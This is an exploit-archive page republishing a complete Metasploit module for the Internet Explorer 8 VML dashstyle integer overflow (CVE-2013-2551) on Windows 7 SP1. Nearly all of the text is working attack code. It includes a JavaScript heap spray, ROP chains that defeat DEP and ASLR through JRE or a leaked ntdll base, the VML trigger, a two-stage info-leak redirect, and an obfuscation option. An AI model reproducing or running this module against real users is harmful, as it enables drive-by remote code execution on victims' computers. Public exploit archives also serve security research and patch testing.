Exploit the possiblities

MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow

MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow
Posted Jun 13, 2013
Authored by Nicolas Joly, juan vazquez, 4B5F5F4B | Site metasploit.com

This Metasploit module exploits an integer overflow vulnerability on Internet Explorer. The vulnerability exists in the handling of the dashstyle.array length for vml shapes on the vgx.dll module. This Metasploit module has been tested successfully on Windows 7 SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target to use an info leak to disclose the ntdll.dll base address is provided. This target requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1 installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).

tags | exploit, overflow
systems | windows, 7
advisories | CVE-2013-2551, OSVDB-91197
MD5 | 3dd7bfec4a8f850bc66505ce27f62d68

MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "8.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => Rank
})


def initialize(info={})
super(update_info(info,
'Name' => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
'Description' => %q{
This module exploits an integer overflow vulnerability on Internet Explorer.
The vulnerability exists in the handling of the dashstyle.array length for vml
shapes on the vgx.dll module. This module has been tested successfully on Windows 7
SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target
to use an info leak to disclose the ntdll.dll base address is provided. This target
requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicolas Joly', # Vulnerability discovery, PoC and analysis
'4B5F5F4B', # PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-2551' ],
[ 'OSVDB', '91197' ],
[ 'BID', '58570' ],
[ 'MSB', 'MS13-037' ],
[ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ],
[ 'URL', 'http://binvul.com/viewthread.php?tid=311' ]
],
'Payload' =>
{
'Space' => 948,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows 7 SP1 with JRE ROP', # default
{
'Rop' => :jre,
'Offset' => '0x5f4'
}
],
# requires:
# * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
# * ntdll.dll v6.1.7601.17725 (MS12-001)
[ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak',
{
'Rop' => :ntdll,
'Offset' => '0x5f4'
}
]
],
'Privileged' => false,
'DisclosureDate' => "Mar 06 2013",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)

end

def exploit
@second_stage_url = rand_text_alpha(10)
@leak_param = rand_text_alpha(5)
super
end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end

targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end

return nil
end

def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

# Land the payload at 0x0c0c0c0c
# For IE 8
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
|

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

return js
end

def get_ntdll_rop
case @ntdll_version
when "6.1.7601.17514"
stack_pivot = [
@ntdll_base+0x0001578a, # ret # from ntdll
@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
@ntdll_base+0x00015789, # xchg eax, esp # ret from ntdll
].pack("V*")
ntdll_rop = [
@ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
0x0c0c0c40, # ret to shellcode
0xffffffff, # ProcessHandle
0x0c0c0c34, # ptr to BaseAddress
0x0c0c0c38, # ptr to NumberOfBytesToProtect
0x00000040, # NewAccessProtection
0x0c0c0c3c, # ptr to OldAccessProtection
0x0c0c0c40, # BaseAddress
0x00000400, # NumberOfBytesToProtect
0x41414141 # OldAccessProtection
].pack("V*")
return stack_pivot + ntdll_rop
when "6.1.7601.17725"
stack_pivot = [
@ntdll_base+0x0001579a, # ret # from ntdll
@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
@ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll
].pack("V*")
ntdll_rop = [
@ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
0x0c0c0c40, # ret to shellcode
0xffffffff, # ProcessHandle
0x0c0c0c34, # ptr to BaseAddress
0x0c0c0c38, # ptr to NumberOfBytesToProtect
0x00000040, # NewAccessProtection
0x0c0c0c3c, # ptr to OldAccessProtection
0x0c0c0c40, # BaseAddress
0x00000400, # NumberOfBytesToProtect
0x41414141 # OldAccessProtection
].pack("V*")
return stack_pivot + ntdll_rop
else
return ""
end
end

def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?

# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :jre
print_status("Using JRE ROP")
stack_pivot = [
0x7c348b06, # ret # from msvcr71
0x7c341748, # pop ebx # ret # from msvcr71
0x7c348b05 # xchg eax, esp # ret from msvcr71
].pack("V*")
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
when :ntdll
print_status("Using ntdll ROP")
rop_payload = get_ntdll_rop + payload.encoded
end

return rop_payload
end

def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)

js_trigger = %Q|
var rect_array = new Array()
var a = new Array()

function createRects(){
for(var i=0; i<0x1000; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}

function exploit(){

var vml1 = document.getElementById("vml1")

for (var i=0; i<0x1000; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}

vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;

for (var i=0; i<0x1000; i++)
{
delete a[i];
CollectGarbage();
}
location.reload();

}
|

create_rects_func = "createRects"
exploit_func = "exploit"

if datastore['OBFUSCATE']
js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
js_trigger.obfuscate
create_rects_func = js_trigger.sym("createRects")
exploit_func = js_trigger.sym("exploit")
end

html = %Q|
<html>
<head>
<script>
#{js}
</script>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
#{js_trigger}
</script>
<body onload="#{create_rects_func}(); #{exploit_func}();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
|

return html
end

def html_info_leak

js_trigger = %Q|
var rect_array = new Array()
var a = new Array()

function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}

function exploit(){

var vml1 = document.getElementById("vml1")

for (var i=0; i<0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}

for (var i=0; i<0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}

var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;

for (var i=0; i<0x400; i++)
{
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )
return;
}
}

}
|

create_rects_func = "createRects"
exploit_func = "exploit"

if datastore['OBFUSCATE']
js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
js_trigger.obfuscate
create_rects_func = js_trigger.sym("createRects")
exploit_func = js_trigger.sym("exploit")
end

html = %Q|
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
#{js_trigger}
</script>
<body onload="#{create_rects_func}(); #{exploit_func}();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
|

return html

end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")

my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end

if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
html = html_info_leak
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML to info leak...")
send_response(cli, html, {'Content-Type'=>'text/html'})
else
leak = begin
request.uri_parts["QueryString"][@leak_param].to_i
rescue
0
end

if leak == 0
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML to trigger...")
send_response(cli, html, {'Content-Type'=>'text/html'})
return
end

vprint_status("ntdll leak: 0x#{leak.to_s(16)}")
fingerprint = leak & 0x0000ffff

case fingerprint
when 0x70B0
@ntdll_version = "6.1.7601.17514"
@ntdll_base = leak - 0x470B0
when 0x7090
@ntdll_version = "6.1.7601.17725" # MS12-001
@ntdll_base = leak - 0x47090
else
print_error("ntdll version not detected, sending 404: #{agent}")
send_not_found(cli)
return
end

html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML to trigger...")
send_response(cli, html, {'Content-Type'=>'text/html'})

end

end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    5 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close